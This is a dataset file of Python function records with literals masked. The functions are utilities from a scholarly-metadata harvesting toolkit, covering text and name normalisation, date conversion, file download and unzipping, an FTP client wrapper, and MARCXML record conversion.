{"signature": "def unescape(text):", "body": "def fixup(m):<EOL><INDENT>text = m.group(<NUM_LIT:0>)<EOL>if text[:<NUM_LIT:2>] == \"<STR_LIT>\":<EOL><INDENT>try:<EOL><INDENT>if text[:<NUM_LIT:3>] == \"<STR_LIT>\":<EOL><INDENT>return chr(int(text[<NUM_LIT:3>:-<NUM_LIT:1>], <NUM_LIT:16>))<EOL><DEDENT>else:<EOL><INDENT>return chr(int(text[<NUM_LIT:2>:-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif text[<NUM_LIT:1>:-<NUM_LIT:1>] not in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>try:<EOL><INDENT>text = chr(html.entities.name2codepoint[text[<NUM_LIT:1>:-<NUM_LIT:1>]])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return text  <EOL><DEDENT>return re.sub(\"<STR_LIT>\", fixup, text)<EOL>", "docstring": "Remove HTML or XML character references and entities from a text string.\n\n    NOTE: Does not remove &amp; &lt; and &gt;.\n\n    @param text The HTML (or XML) source text.\n    @return The plain text, as a Unicode string, if necessary.", "id": "f7919:m5"}
{"signature": "def format_arxiv_id(arxiv_id):", "body": "if arxiv_id and \"<STR_LIT:/>\" not in arxiv_id and \"<STR_LIT>\" not in arxiv_id:<EOL><INDENT>return \"<STR_LIT>\" % (arxiv_id,)<EOL><DEDENT>elif arxiv_id and '<STR_LIT:.>' not in arxiv_id and arxiv_id.lower().startswith('<STR_LIT>'):<EOL><INDENT>return arxiv_id[<NUM_LIT:6>:]  <EOL><DEDENT>else:<EOL><INDENT>return arxiv_id<EOL><DEDENT>", "docstring": "Properly format arXiv IDs.", "id": "f7919:m6"}
{"signature": "def safe_title(text):", "body": "return str(text, \"<STR_LIT:utf-8>\").title().encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Perform a UTF-8 safe str.title() wrapper.", "id": "f7919:m7"}
{"signature": "def collapse_initials(name):", "body": "if len(name.split(\"<STR_LIT:.>\")) > <NUM_LIT:1>:<EOL><INDENT>name = re.sub(r'<STR_LIT>', r'<STR_LIT>', name)<EOL><DEDENT>return name<EOL>", "docstring": "Remove the space between initials, eg T. A. --> T.A.", "id": "f7919:m8"}
{"signature": "def fix_journal_name(journal, knowledge_base):", "body": "if not journal:<EOL><INDENT>return '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>if not knowledge_base:<EOL><INDENT>return journal, '<STR_LIT>'<EOL><DEDENT>if len(journal) < <NUM_LIT:2>:<EOL><INDENT>return journal, '<STR_LIT>'<EOL><DEDENT>volume = '<STR_LIT>'<EOL>if (journal[-<NUM_LIT:1>] <= '<STR_LIT>' and journal[-<NUM_LIT:1>] >= '<STR_LIT:A>')and (journal[-<NUM_LIT:2>] == '<STR_LIT:.>' or journal[-<NUM_LIT:2>] == '<STR_LIT:U+0020>'):<EOL><INDENT>volume += journal[-<NUM_LIT:1>]<EOL>journal = journal[:-<NUM_LIT:1>]<EOL><DEDENT>journal = journal.strip()<EOL>if journal.upper() in knowledge_base:<EOL><INDENT>journal = knowledge_base[journal.upper()].strip()<EOL><DEDENT>elif journal in knowledge_base:<EOL><INDENT>journal = knowledge_base[journal].strip()<EOL><DEDENT>elif '<STR_LIT:.>' in journal:<EOL><INDENT>journalnodots = journal.replace('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>journalnodots = journalnodots.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').strip().upper()<EOL>if journalnodots in knowledge_base:<EOL><INDENT>journal = knowledge_base[journalnodots].strip()<EOL><DEDENT><DEDENT>journal = journal.replace('<STR_LIT>', '<STR_LIT:.>')<EOL>return journal, volume<EOL>", "docstring": "Convert journal name to Inspire's short form.", "id": "f7919:m9"}
{"signature": "def add_nations_field(authors_subfields):", "body": "from .config import NATIONS_DEFAULT_MAP<EOL>result = []<EOL>for field in authors_subfields:<EOL><INDENT>if field[<NUM_LIT:0>] == '<STR_LIT:v>':<EOL><INDENT>values = [x.replace('<STR_LIT:.>', '<STR_LIT>') for x in field[<NUM_LIT:1>].split('<STR_LIT:U+002CU+0020>')]<EOL>possible_affs = [x for x in map(NATIONS_DEFAULT_MAP.get, values) if x is not None]<EOL>if '<STR_LIT>' in possible_affs and '<STR_LIT>' in possible_affs:<EOL><INDENT>possible_affs = [x for x in possible_affs<EOL>if x != '<STR_LIT>']<EOL><DEDENT>result.extend(possible_affs)<EOL><DEDENT><DEDENT>result = sorted(list(set(result)))<EOL>if result:<EOL><INDENT>authors_subfields.extend([('<STR_LIT:w>', res) for res in result])<EOL><DEDENT>else:<EOL><INDENT>authors_subfields.append(('<STR_LIT:w>', '<STR_LIT>'))<EOL><DEDENT>", "docstring": "Add correct nations field according to mapping in NATIONS_DEFAULT_MAP.", "id": "f7919:m10"}
{"signature": "def fix_dashes(string):", "body": "string = string.replace('<STR_LIT>', '<STR_LIT:->')<EOL>string = string.replace('<STR_LIT>', '<STR_LIT:->')<EOL>string = string.replace('<STR_LIT>', '<STR_LIT:->')<EOL>string = string.replace('<STR_LIT>', '<STR_LIT:->')<EOL>string = unidecode(string)<EOL>return re.sub(r'<STR_LIT>', '<STR_LIT:->', string)<EOL>", "docstring": "Fix bad Unicode special dashes in string.", "id": "f7919:m11"}
{"signature": "def fix_title_capitalization(title):", "body": "if re.search(\"<STR_LIT>\", title) and re.search(\"<STR_LIT>\", title):<EOL><INDENT>return title<EOL><DEDENT>word_list = re.split('<STR_LIT>', title)<EOL>final = [word_list[<NUM_LIT:0>].capitalize()]<EOL>for word in word_list[<NUM_LIT:1>:]:<EOL><INDENT>if word.upper() in COMMON_ACRONYMS:<EOL><INDENT>final.append(word.upper())<EOL><DEDENT>elif len(word) > <NUM_LIT:3>:<EOL><INDENT>final.append(word.capitalize())<EOL><DEDENT>else:<EOL><INDENT>final.append(word.lower())<EOL><DEDENT><DEDENT>return \"<STR_LIT:U+0020>\".join(final)<EOL>", "docstring": "Try to capitalize properly a title string.", "id": "f7919:m12"}
{"signature": "def convert_html_subscripts_to_latex(text):", "body": "text = re.sub(\"<STR_LIT>\", r\"<STR_LIT>\", text)<EOL>text = re.sub(\"<STR_LIT>\", r\"<STR_LIT>\", text)<EOL>return text<EOL>", "docstring": "Convert some HTML tags to latex equivalents.", "id": "f7919:m13"}
{"signature": "def download_file(from_url, to_filename=None,<EOL>chunk_size=<NUM_LIT> * <NUM_LIT:8>, retry_count=<NUM_LIT:3>):", "body": "if not to_filename:<EOL><INDENT>to_filename = get_temporary_file()<EOL><DEDENT>session = requests.Session()<EOL>adapter = requests.adapters.HTTPAdapter(max_retries=retry_count)<EOL>session.mount(from_url, adapter)<EOL>response = session.get(from_url, stream=True)<EOL>with open(to_filename, '<STR_LIT:wb>') as fd:<EOL><INDENT>for chunk in response.iter_content(chunk_size):<EOL><INDENT>fd.write(chunk)<EOL><DEDENT><DEDENT>return to_filename<EOL>", "docstring": "Download URL to a file.", "id": "f7919:m14"}
{"signature": "def run_shell_command(commands, **kwargs):", "body": "p = subprocess.Popen(commands,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>**kwargs)<EOL>output, error = p.communicate()<EOL>return p.returncode, output, error<EOL>", "docstring": "Run a shell command.", "id": "f7919:m15"}
{"signature": "def create_logger(name,<EOL>filename=None,<EOL>logging_level=logging.DEBUG):", "body": "logger = logging.getLogger(name)<EOL>formatter = logging.Formatter(('<STR_LIT>'<EOL>'<STR_LIT>'))<EOL>if filename:<EOL><INDENT>fh = logging.FileHandler(filename=filename)<EOL>fh.setFormatter(formatter)<EOL>logger.addHandler(fh)<EOL><DEDENT>ch = logging.StreamHandler()<EOL>ch.setFormatter(formatter)<EOL>logger.addHandler(ch)<EOL>logger.setLevel(logging_level)<EOL>return logger<EOL>", "docstring": "Create a logger object.", "id": "f7919:m16"}
{"signature": "def unzip(zipped_file, output_directory=None,<EOL>prefix=\"<STR_LIT>\", suffix=\"<STR_LIT>\"):", "body": "if not output_directory:<EOL><INDENT>try:<EOL><INDENT>output_directory = mkdtemp(suffix=suffix,<EOL>prefix=prefix)<EOL><DEDENT>except Exception as e:<EOL><INDENT>try:<EOL><INDENT>os.removedirs(output_directory)<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>raise e<EOL><DEDENT><DEDENT>return _do_unzip(zipped_file, output_directory)<EOL>", "docstring": "Uncompress a zipped file from given filepath to an (optional) location.\n\n    If no location is given, a temporary folder will be generated inside\n    CFG_TMPDIR, prefixed with \"apsharvest_unzip_\".", "id": "f7919:m17"}
{"signature": "def _do_unzip(zipped_file, output_directory):", "body": "z = zipfile.ZipFile(zipped_file)<EOL>for path in z.namelist():<EOL><INDENT>relative_path = os.path.join(output_directory, path)<EOL>dirname, dummy = os.path.split(relative_path)<EOL>try:<EOL><INDENT>if relative_path.endswith(os.sep) and not os.path.exists(dirname):<EOL><INDENT>os.makedirs(relative_path)<EOL><DEDENT>elif not os.path.exists(relative_path):<EOL><INDENT>dirname = os.path.join(output_directory, os.path.dirname(path))<EOL>if os.path.dirname(path) and not os.path.exists(dirname):<EOL><INDENT>os.makedirs(dirname)<EOL><DEDENT>fd = open(relative_path, \"<STR_LIT:w>\")<EOL>fd.write(z.read(path))<EOL>fd.close()<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>return output_directory<EOL>", "docstring": "Perform the actual uncompression.", "id": "f7919:m18"}
{"signature": "def locate(pattern, root=os.curdir):", "body": "for path, dummy, files in os.walk(os.path.abspath(root)):<EOL><INDENT>for filename in fnmatch.filter(files, pattern):<EOL><INDENT>yield os.path.join(path, filename)<EOL><DEDENT><DEDENT>", "docstring": "Locate all files matching supplied filename pattern recursively.", "id": "f7919:m19"}
{"signature": "def punctuate_authorname(an):", "body": "name = an.strip()<EOL>parts = [x for x in name.split('<STR_LIT:U+002C>') if x != '<STR_LIT>']<EOL>ret_str = '<STR_LIT>'<EOL>for idx, part in enumerate(parts):<EOL><INDENT>subparts = part.strip().split('<STR_LIT:U+0020>')<EOL>for sidx, substr in enumerate(subparts):<EOL><INDENT>ret_str += substr<EOL>if len(substr) == <NUM_LIT:1>:<EOL><INDENT>ret_str += '<STR_LIT:.>'<EOL><DEDENT>if sidx < (len(subparts) - <NUM_LIT:1>):<EOL><INDENT>ret_str += '<STR_LIT:U+0020>'<EOL><DEDENT><DEDENT>if idx < (len(parts) - <NUM_LIT:1>):<EOL><INDENT>ret_str += '<STR_LIT:U+002CU+0020>'<EOL><DEDENT><DEDENT>return ret_str.strip()<EOL>", "docstring": "Punctuate author names properly.\n\n    Expects input in the form 'Bloggs, J K' and will return 'Bloggs, J. K.'.", "id": "f7919:m20"}
{"signature": "def convert_date_to_iso(value):", "body": "date_formats = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>for dformat in date_formats:<EOL><INDENT>try:<EOL><INDENT>date = datetime.strptime(value, dformat)<EOL>return date.strftime(\"<STR_LIT>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "Convert a date-value to the ISO date standard.", "id": "f7919:m21"}
{"signature": "def convert_date_from_iso_to_human(value):", "body": "try:<EOL><INDENT>year, month, day = value.split(\"<STR_LIT:->\")<EOL><DEDENT>except ValueError:<EOL><INDENT>try:<EOL><INDENT>year, month, day = value.split(\"<STR_LIT:U+0020>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>return value<EOL><DEDENT><DEDENT>try:<EOL><INDENT>date_object = datetime(int(year), int(month), int(day))<EOL><DEDENT>except TypeError:<EOL><INDENT>return value<EOL><DEDENT>return date_object.strftime(\"<STR_LIT>\")<EOL>", "docstring": "Convert a date-value to the ISO date standard for humans.", "id": "f7919:m22"}
{"signature": "def get_converted_image_name(image):", "body": "png_extension = '<STR_LIT>'<EOL>if image[(<NUM_LIT:0> - len(png_extension)):] == png_extension:<EOL><INDENT>return image<EOL><DEDENT>img_dir = os.path.split(image)[<NUM_LIT:0>]<EOL>image = os.path.split(image)[-<NUM_LIT:1>]<EOL>if len(image.split('<STR_LIT:.>')) > <NUM_LIT:1>:<EOL><INDENT>old_extension = '<STR_LIT:.>' + image.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>converted_image = image[:(<NUM_LIT:0> - len(old_extension))] + png_extension<EOL><DEDENT>else:<EOL><INDENT>converted_image = image + png_extension<EOL><DEDENT>return os.path.join(img_dir, converted_image)<EOL>", "docstring": "Return the name of the image after it has been converted to png format.\n\n    Strips off the old extension.\n\n    :param image: The fullpath of the image before conversion\n    :type image: string\n\n    :return: the fullpath of the image after convertion", "id": "f7919:m23"}
{"signature": "def convert_images(image_list):", "body": "png_output_contains = '<STR_LIT>'<EOL>ret_list = []<EOL>for image_file in image_list:<EOL><INDENT>if os.path.isdir(image_file):<EOL><INDENT>continue<EOL><DEDENT>dummy1, cmd_out, dummy2 = run_shell_command('<STR_LIT>', (image_file,))<EOL>if cmd_out.find(png_output_contains) > -<NUM_LIT:1>:<EOL><INDENT>ret_list.append(image_file)<EOL><DEDENT>else:<EOL><INDENT>converted_image_file = get_converted_image_name(image_file)<EOL>cmd_list = ['<STR_LIT>', image_file, converted_image_file]<EOL>dummy1, cmd_out, cmd_err = run_shell_command(cmd_list)<EOL>if cmd_err == '<STR_LIT>':<EOL><INDENT>ret_list.append(converted_image_file)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(cmd_err)<EOL><DEDENT><DEDENT><DEDENT>return ret_list<EOL>", "docstring": "Convert list of images to PNG format.\n\n    @param: image_list ([string, string, ...]): the list of image files\n        extracted from the tarball in step 1\n\n    @return: image_list ([str, str, ...]): The list of image files when all\n        have been converted to PNG format.", "id": "f7919:m24"}
{"signature": "def get_temporary_file(prefix=\"<STR_LIT>\",<EOL>suffix=\"<STR_LIT>\",<EOL>directory=None):", "body": "try:<EOL><INDENT>file_fd, filepath = mkstemp(prefix=prefix,<EOL>suffix=suffix,<EOL>dir=directory)<EOL>os.close(file_fd)<EOL><DEDENT>except IOError as e:<EOL><INDENT>try:<EOL><INDENT>os.remove(filepath)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>raise e<EOL><DEDENT>return filepath<EOL>", "docstring": "Generate a safe and closed filepath.", "id": "f7919:m25"}
{"signature": "def return_letters_from_string(text):", "body": "out = \"<STR_LIT>\"<EOL>for letter in text:<EOL><INDENT>if letter.isalpha():<EOL><INDENT>out += letter<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Get letters from string only.", "id": "f7919:m26"}
{"signature": "def license_is_oa(license):", "body": "for oal in OA_LICENSES:<EOL><INDENT>if re.search(oal, license):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return True if license is compatible with Open Access", "id": "f7919:m27"}
{"signature": "def connect(self):", "body": "self._ftp.connect()<EOL>self._ftp.login(user=self._username, passwd=self._passwd)<EOL>", "docstring": "Connects and logins to the server.", "id": "f7920:c0:m1"}
{"signature": "def close(self):", "body": "self._ftp.close()<EOL>", "docstring": "Closes the connection to the server.", "id": "f7920:c0:m2"}
{"signature": "def download_folder(self, folder='<STR_LIT>', target_folder='<STR_LIT>'):", "body": "files, folders = self.ls(folder)<EOL>for fl in files:<EOL><INDENT>self.download(join(folder, fl), target_folder)<EOL><DEDENT>for fld in folders:<EOL><INDENT>self.download_folder(join(folder, fld), target_folder)<EOL><DEDENT>", "docstring": "Downloads a whole folder from the server.\n        FtpHandler.download_folder() will download all the files\n        from the server in the working directory.\n\n        :param folder: the absolute path for the folder on the server.\n\n        :type folder: string\n        :param target_folder: absolute or relative path for the\n                              destination folder default is the\n                              working directory.\n        :type target_folder: string", "id": "f7920:c0:m3"}
{"signature": "def download(self, source_file, target_folder='<STR_LIT>'):", "body": "current_folder = self._ftp.pwd()<EOL>if not target_folder.startswith('<STR_LIT:/>'):  <EOL><INDENT>target_folder = join(getcwd(), target_folder)<EOL><DEDENT>folder = os.path.dirname(source_file)<EOL>self.cd(folder)<EOL>if folder.startswith(\"<STR_LIT:/>\"):<EOL><INDENT>folder = folder[<NUM_LIT:1>:]<EOL><DEDENT>destination_folder = join(target_folder, folder)<EOL>if not os.path.exists(destination_folder):<EOL><INDENT>print(\"<STR_LIT>\", destination_folder)<EOL>os.makedirs(destination_folder)<EOL><DEDENT>source_file = os.path.basename(source_file)<EOL>destination = join(destination_folder, source_file)<EOL>try:<EOL><INDENT>with open(destination, '<STR_LIT:wb>') as result:<EOL><INDENT>self._ftp.retrbinary('<STR_LIT>' % (source_file,),<EOL>result.write)<EOL><DEDENT><DEDENT>except error_perm as e:  <EOL><INDENT>print(e)<EOL>remove(join(target_folder, source_file))<EOL>raise<EOL><DEDENT>self._ftp.cwd(current_folder)<EOL>", "docstring": "Downloads a file from the FTP server to target folder\n\n        :param source_file: the absolute path for the file on the server\n                   it can be the one of the files coming from\n                   FtpHandler.dir().\n        :type source_file: string\n        :param target_folder: relative or absolute path of the\n                              destination folder default is the\n                              working directory.\n        :type target_folder: string", "id": "f7920:c0:m4"}
{"signature": "def cd(self, folder):", "body": "if folder.startswith('<STR_LIT:/>'):<EOL><INDENT>self._ftp.cwd(folder)<EOL><DEDENT>else:<EOL><INDENT>for subfolder in folder.split('<STR_LIT:/>'):<EOL><INDENT>if subfolder:<EOL><INDENT>self._ftp.cwd(subfolder)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Changes the working directory on the server.\n\n        :param folder: the desired directory.\n        :type folder: string", "id": "f7920:c0:m5"}
{"signature": "def ls(self, folder='<STR_LIT>'):", "body": "current_folder = self._ftp.pwd()<EOL>self.cd(folder)<EOL>contents = []<EOL>self._ftp.retrlines('<STR_LIT>', lambda a: contents.append(a))<EOL>files = filter(lambda a: a.split()[<NUM_LIT:0>].startswith('<STR_LIT:->'), contents)<EOL>folders = filter(lambda a: a.split()[<NUM_LIT:0>].startswith('<STR_LIT:d>'), contents)<EOL>files = map(lambda a: '<STR_LIT:U+0020>'.join(a.split()[<NUM_LIT:8>:]), files)<EOL>folders = map(lambda a: '<STR_LIT:U+0020>'.join(a.split()[<NUM_LIT:8>:]), folders)<EOL>self._ftp.cwd(current_folder)<EOL>return files, folders<EOL>", "docstring": "Lists the files and folders of a specific directory\n        default is the current working directory.\n\n        :param folder: the folder to be listed.\n        :type folder: string\n\n        :returns: a tuple with the list of files in the folder\n                  and the list of subfolders in the folder.", "id": "f7920:c0:m6"}
{"signature": "def dir(self, folder='<STR_LIT>', prefix='<STR_LIT>'):", "body": "files, folders = self.ls(folder)<EOL>result = files<EOL>inner = []<EOL>for fld in folders:<EOL><INDENT>try:<EOL><INDENT>inner += self.dir(folder + '<STR_LIT:/>' + fld, prefix + fld + '<STR_LIT:/>')<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>result += inner<EOL>if prefix:<EOL><INDENT>result = map(lambda a: prefix + a, result)<EOL><DEDENT>return result<EOL>", "docstring": "Lists all the files on the folder given as parameter.\n        FtpHandler.dir() lists all the files on the server.\n\n        :para folder: the folder to be listed.\n        :type folder: string\n\n        :param prefix: it does not belong to the interface,\n                       it is used to recursively list the subfolders.\n\n        :returns: a list with all the files in the server.", "id": "f7920:c0:m7"}
{"signature": "def mkdir(self, folder):", "body": "current_folder = self._ftp.pwd()<EOL>folders = folder.split('<STR_LIT:/>')<EOL>for fld in folders:<EOL><INDENT>try:<EOL><INDENT>self.cd(fld)<EOL><DEDENT>except error_perm:  <EOL><INDENT>self._ftp.mkd(fld)<EOL>self.cd(fld)<EOL><DEDENT><DEDENT>self.cd(current_folder)<EOL>", "docstring": "Creates a folder in the server\n\n        :param folder: the folder to be created.\n        :type folder: string", "id": "f7920:c0:m8"}
{"signature": "def rm(self, filename):", "body": "try:<EOL><INDENT>self._ftp.delete(filename)<EOL><DEDENT>except error_perm:  <EOL><INDENT>try:<EOL><INDENT>current_folder = self._ftp.pwd()<EOL>self.cd(filename)<EOL><DEDENT>except error_perm:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>' % (filename,))<EOL><DEDENT>else:<EOL><INDENT>self.cd(current_folder)<EOL>print('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (filename,))<EOL><DEDENT><DEDENT>", "docstring": "Delete a file from the server.\n\n        :param filename: the file to be deleted.\n        :type filename: string", "id": "f7920:c0:m9"}
{"signature": "def rmdir(self, foldername):", "body": "current_folder = self._ftp.pwd()<EOL>try:<EOL><INDENT>self.cd(foldername)<EOL><DEDENT>except error_perm:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>' % (foldername,))<EOL><DEDENT>else:<EOL><INDENT>self.cd(current_folder)<EOL>try:<EOL><INDENT>self._ftp.rmd(foldername)<EOL><DEDENT>except error_perm:  <EOL><INDENT>self.cd(foldername)<EOL>contents = self.ls()<EOL>map(self._ftp.delete, contents[<NUM_LIT:0>])<EOL>map(self.rmdir, contents[<NUM_LIT:1>])<EOL>self.cd(current_folder)<EOL>self._ftp.rmd(foldername)<EOL><DEDENT><DEDENT>", "docstring": "Delete a folder from the server.\n\n        :param foldername: the folder to be deleted.\n        :type foldername: string", "id": "f7920:c0:m10"}
{"signature": "def get_filesize(self, filename):", "body": "result = []<EOL>def dir_callback(val):<EOL><INDENT>result.append(val.split()[<NUM_LIT:4>])<EOL><DEDENT>self._ftp.dir(filename, dir_callback)<EOL>return result[<NUM_LIT:0>]<EOL>", "docstring": "Returns the filesize of a file\n\n        :param filename: the full path to the file on the server.\n        :type filename: string\n\n        :returns: string representation of the filesize.", "id": "f7920:c0:m11"}
{"signature": "def check_pkgs_integrity(self, filelist, logger,<EOL>timeout=<NUM_LIT>, sleep_time=<NUM_LIT:10>):", "body": "ref_1 = []<EOL>ref_2 = []<EOL>i = <NUM_LIT:1><EOL>print(\"<STR_LIT>\")<EOL>for filename in filelist:<EOL><INDENT>ref_1.append(self.get_filesize(filename))<EOL><DEDENT>print(\"<STR_LIT>\" % (sleep_time,))<EOL>time.sleep(sleep_time)<EOL>while sleep_time * i < timeout:<EOL><INDENT>for filename in filelist:<EOL><INDENT>ref_2.append(self.get_filesize(filename))<EOL><DEDENT>if ref_1 == ref_2:<EOL><INDENT>print(sys.stdout, \"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % (i,))<EOL>logger.info(\"<STR_LIT>\" % (i,))<EOL>i += <NUM_LIT:1><EOL>ref_1, ref_2 = ref_2, []<EOL>time.sleep(sleep_time)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>not_finished_files = []<EOL>for count, val1 in enumerate(ref_1):<EOL><INDENT>if val1 != ref_2[count]:<EOL><INDENT>not_finished_files.append(filelist[count])<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>logger.error(\"<STR_LIT>\"<EOL>% (not_finished_files,))<EOL><DEDENT>", "docstring": "Checks if files are not being uploaded to server.\n\n        :param filelist - a list of filenames to check.\n        :type filelist: list\n        :param timeout - time after which the script will register an error.\n        :type timeout: int", "id": "f7920:c0:m13"}
{"signature": "def upload(self, filename, location='<STR_LIT>'):", "body": "current_folder = self._ftp.pwd()<EOL>self.mkdir(location)<EOL>self.cd(location)<EOL>fl = open(filename, '<STR_LIT:rb>')<EOL>filename = filename.split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>self._ftp.storbinary('<STR_LIT>' % filename, fl)<EOL>fl.close()<EOL>self.cd(current_folder)<EOL>", "docstring": "Uploads a file on the server to the desired location\n\n        :param filename: the name of the file to be uploaded.\n        :type filename: string\n        :param location: the directory in which the file will\n                         be stored.\n        :type location: string", "id": "f7920:c0:m14"}
{"signature": "def __init__(self, journal_mappings={}):", "body": "self.journal_mappings = journal_mappings<EOL>self.document = None<EOL>", "docstring": "Create a JatsPackage.", "id": "f7922:c0:m0"}
{"signature": "def __init__(self, bibrec, strip_fields_list=None):", "body": "self.record = bibrec<EOL>self.strip_fields_list = strip_fields_list<EOL>self.hidden = False<EOL>", "docstring": "Create an instance of a record conversion.", "id": "f7924:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def convert_all(cls, records):<DEDENT>", "body": "out = [\"<STR_LIT>\"]<EOL>for rec in records:<EOL><INDENT>conversion = cls(rec)<EOL>out.append(conversion.convert())<EOL><DEDENT>out.append(\"<STR_LIT>\")<EOL>return \"<STR_LIT:\\n>\".join(out)<EOL>", "docstring": "Convert the list of bibrecs into one MARCXML.\n\n        >>> from harvestingkit.bibrecord import BibRecordPackage\n        >>> from harvestingkit.inspire_cds_package import Inspire2CDS\n        >>> bibrecs = BibRecordPackage(\"inspire.xml\")\n        >>> bibrecs.parse()\n        >>> xml = Inspire2CDS.convert_all(bibrecs.get_records())\n\n        :param records: list of BibRecord dicts\n        :type records: list\n\n        :returns: MARCXML as string", "id": "f7924:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_source(cls, source):<DEDENT>", "body": "bibrecs = BibRecordPackage(source)<EOL>bibrecs.parse()<EOL>for bibrec in bibrecs.get_records():<EOL><INDENT>yield cls(bibrec)<EOL><DEDENT>", "docstring": "Yield single conversion objects from a MARCXML file or string.\n\n        >>> from harvestingkit.inspire_cds_package import Inspire2CDS\n        >>> for record in Inspire2CDS.from_source(\"inspire.xml\"):\n        >>>     xml = record.convert()", "id": "f7924:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def get_config_item(cls, key, kb_name, allow_substring=True):<DEDENT>", "body": "config_dict = cls.kbs.get(kb_name, None)<EOL>if config_dict:<EOL><INDENT>if key in config_dict:<EOL><INDENT>return config_dict[key]<EOL><DEDENT>elif allow_substring:<EOL><INDENT>res = [v for k, v in config_dict.items() if key in k]<EOL>if res:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>return key<EOL>", "docstring": "Return the opposite mapping by searching the imported KB.", "id": "f7924:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def load_config(from_key, to_key):<DEDENT>", "body": "from .mappings import mappings<EOL>kbs = {}<EOL>for key, values in mappings['<STR_LIT>'].iteritems():<EOL><INDENT>parse_dict = {}<EOL>for mapping in values:<EOL><INDENT>parse_dict[mapping[from_key]] = mapping[to_key]<EOL><DEDENT>kbs[key] = parse_dict<EOL><DEDENT>return kbs<EOL>", "docstring": "Load configuration from config.\n\n        Meant to run only once per system process as\n        class variable in subclasses.", "id": "f7924:c0:m4"}
{"signature": "def convert(self):", "body": "self.get_record()<EOL>return self.get_xml()<EOL>", "docstring": "Convert current record and return MARCXML.\n\n        >>> from harvestingkit.bibrecord import BibRecordPackage\n        >>> from harvestingkit.inspire_cds_package import Inspire2CDS\n        >>> bibrecs = BibRecordPackage(\"inspire.xml\")\n        >>> bibrecs.parse()\n        >>> for bibrec in bibrecs:\n        >>>     rec = Inspire2CDS(bibrec)\n        >>>     xml = rec.convert(bibrec)\n\n        :returns: MARCXML as string", "id": "f7924:c0:m5"}
{"signature": "def get_record(self):", "body": "return self.record<EOL>", "docstring": "Return the record.", "id": "f7924:c0:m6"}
{"signature": "def get_xml(self):", "body": "return record_xml_output(self.record)<EOL>", "docstring": "Return the current record as MARCXML.", "id": "f7924:c0:m7"}
{"signature": "def get_recid(self):", "body": "try:<EOL><INDENT>return self.record['<STR_LIT>'][<NUM_LIT:0>][<NUM_LIT:3>]<EOL><DEDENT>except KeyError:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Return the record ID from 001.", "id": "f7924:c0:m8"}
{"signature": "def get_local_folder(self):", "body": "if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.local_folder = mkdtemp()<EOL><DEDENT>return self.local_folder<EOL>", "docstring": "Return a path to a generated local folder.", "id": "f7924:c0:m9"}
{"signature": "def match(self, query=None, **kwargs):", "body": "from invenio.search_engine import perform_request_search<EOL>if not query:<EOL><INDENT>recid = self.record[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:3>]<EOL>return perform_request_search(p=\"<STR_LIT>\" % (recid,),<EOL>of=\"<STR_LIT:id>\")<EOL><DEDENT>else:<EOL><INDENT>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = self.record[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:3>]<EOL><DEDENT>return perform_request_search(p=query % kwargs,<EOL>of=\"<STR_LIT:id>\")<EOL><DEDENT>", "docstring": "Try to match the current record to the database.", "id": "f7924:c0:m10"}
{"signature": "def remove_controlfields(self):", "body": "record_strip_controlfields(self.record)<EOL>", "docstring": "Clear any existing control fields.", "id": "f7924:c0:m11"}
{"signature": "def keep_only_fields(self):", "body": "for tag in self.record.keys():<EOL><INDENT>if tag not in self.fields_list:<EOL><INDENT>record_delete_fields(self.record, tag)<EOL><DEDENT><DEDENT>", "docstring": "Keep only fields listed in field_list.", "id": "f7924:c0:m12"}
{"signature": "def strip_fields(self):", "body": "for tag in self.record.keys():<EOL><INDENT>if tag in self.fields_list:<EOL><INDENT>record_delete_fields(self.record, tag)<EOL><DEDENT><DEDENT>", "docstring": "Clear any fields listed in field_list.", "id": "f7924:c0:m13"}
